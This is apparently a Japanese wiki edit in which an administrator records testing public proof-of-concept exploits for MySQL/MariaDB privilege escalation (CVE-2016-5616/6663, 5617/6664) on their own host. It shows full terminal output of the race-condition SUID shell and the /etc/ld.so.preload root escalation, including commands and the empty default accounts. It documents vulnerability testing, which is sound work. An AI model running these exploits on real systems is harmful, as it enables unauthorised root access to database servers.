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1: 2016-11-11 (金) 11:23:42 iseki  |
| | + | *** CVE-2016-5616, 5617 [#u7059892] |
| | + | - 該当マシンにアカウントがあり，データベースのアクセス（書き込み）可能な場合，Root権限を奪取される |
| | + | - MySQL の初期ユーザ等が残っている場合は，特に危険． |
| | | | |
| | + | - http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html |
| | + | - http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html |
| | + | |
| | + | - デフォルトの |
| | + | MariaDB [mysql]> select Host,User,Password from user; |
| | + | +-----------+------+-------------------------------------------+ |
| | + | | Host | User | Password | |
| | + | +-----------+------+-------------------------------------------+ |
| | + | | localhost | root | *1B1F13007F2FA68140D751B563EB49E0186A116B | |
| | + | | rigel-b | root | | |
| | + | | 127.0.0.1 | root | | |
| | + | | ::1 | root | | |
| | + | | localhost | | | |
| | + | | rigel-b | | | |
| | + | +-----------+------+-------------------------------------------+ |
| | + | |
| | + | |
| | + | [iseki@rigel-b ~]:439$ ./mysql-privesc-race '' '' localhost test |
| | + | |
| | + | MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit |
| | + | mysql-privesc-race.c (ver. 1.0) |
| | + | |
| | + | CVE-2016-6663 / CVE-2016-5616 |
| | + | |
| | + | For testing purposes only. Do no harm. |
| | + | |
| | + | Discovered/Coded by: |
| | + | |
| | + | Dawid Golunski |
| | + | http://legalhackers.com |
| | + | |
| | + | |
| | + | [+] Starting the exploit as: |
| | + | uid=502(iseki) gid=100(users) 所属グループ=100(users) |
| | + | |
| | + | [+] Connecting to the database `test` as @localhost |
| | + | |
| | + | [+] Creating exploit temp directory /tmp/mysql_privesc_exploit |
| | + | |
| | + | [+] Creating mysql tables |
| | + | |
| | + | DROP TABLE IF EXISTS exploit_table |
| | + | DROP TABLE IF EXISTS mysql_suid_shell |
| | + | CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' |
| | + | CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' |
| | + | |
| | + | [+] Copying bash into the mysql_suid_shell table. |
| | + | After the exploitation the following file/table will be assigned SUID and executable bits : |
| | + | -rw-rw---- 1 mysql users 941880 11月 11 09:37 2016 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD |
| | + | |
| | + | [+] Entering the race loop... Hang in there... |
| | + | ->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->-> |
| | + | |
| | + | [+] Bingo! Race won (took 12874 tries) ! Check out the mysql SUID shell: |
| | + | |
| | + | -rwsrwxrwx 1 mysql users 941880 11月 11 09:37 2016 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD |
| | + | |
| | + | [+] Spawning the mysql SUID shell now... |
| | + | Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :) |
| | + | |
| | + | mysql_suid_shell.MYD-4.1$ whoami |
| | + | mysql |
| | + | |
| | + | |
| | + | |
| | + | |
| | + | mysql_suid_shell.MYD-4.1$ ./mysql-chowned.sh /var/mysql/rigel-b.err |
| | + | |
| | + | MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit |
| | + | mysql-chowned.sh (ver. 1.0) |
| | + | |
| | + | CVE-2016-6664 / CVE-2016-5617 |
| | + | |
| | + | Discovered and coded by: |
| | + | |
| | + | Dawid Golunski |
| | + | http://legalhackers.com |
| | + | |
| | + | [+] Starting the exploit as |
| | + | uid=502(iseki) gid=100(users) euid=103(mysql) 所属グループ=100(users) |
| | + | |
| | + | [+] Target MySQL log file set to /var/mysql/rigel-b.err |
| | + | |
| | + | [+] Compiling the privesc shared library (/tmp/privesclib.c) |
| | + | |
| | + | [+] Backdoor/low-priv shell installed at: |
| | + | -rwxr-xr-x 1 mysql users 941880 11月 11 09:52 2016 /tmp/mysqlrootsh |
| | + | |
| | + | [+] Symlink created at: |
| | + | lrwxrwxrwx 1 mysql users 18 11月 11 09:52 2016 /var/mysql/rigel-b.err -> /etc/ld.so.preload |
| | + | |
| | + | [+] Waiting for MySQL to re-open the logs/MySQL service restart... |
| | + | |
| | + | [+] Waiting for MySQL to re-open the logs/MySQL service restart... |
| | + | ./mysql-chowned.sh: line 153: pidof: コマンドが見つかりません |
| | + | Do you want to kill mysqld process to instantly get root? :) ? [y/n] y |
| | + | Got it. Executing 'killall mysqld' now... |
| | + | |
| | + | [+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: |
| | + | -rw-r----- 1 mysql root 19 11月 11 09:52 2016 /etc/ld.so.preload |
| | + | |
| | + | [+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload |
| | + | |
| | + | [+] The /etc/ld.so.preload file now contains: |
| | + | /tmp/privesclib.so |
| | + | |
| | + | [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root! |
| | + | -rwsrwxrwx 1 root root 941880 11月 11 09:52 2016 /tmp/mysqlrootsh |
| | + | |
| | + | [+] Rootshell got assigned root SUID perms at: |
| | + | -rwsrwxrwx 1 root root 941880 11月 11 09:52 2016 /tmp/mysqlrootsh |
| | + | |
| | + | Got root! The database server has been ch-OWNED ! |
| | + | |
| | + | [+] Spawning the rootshell /tmp/mysqlrootsh now! |
| | + | |
| | + | mysqlrootsh-4.1# whoami |
| | + | root |
| | + | |
| | + | |
| | + | [/code] |
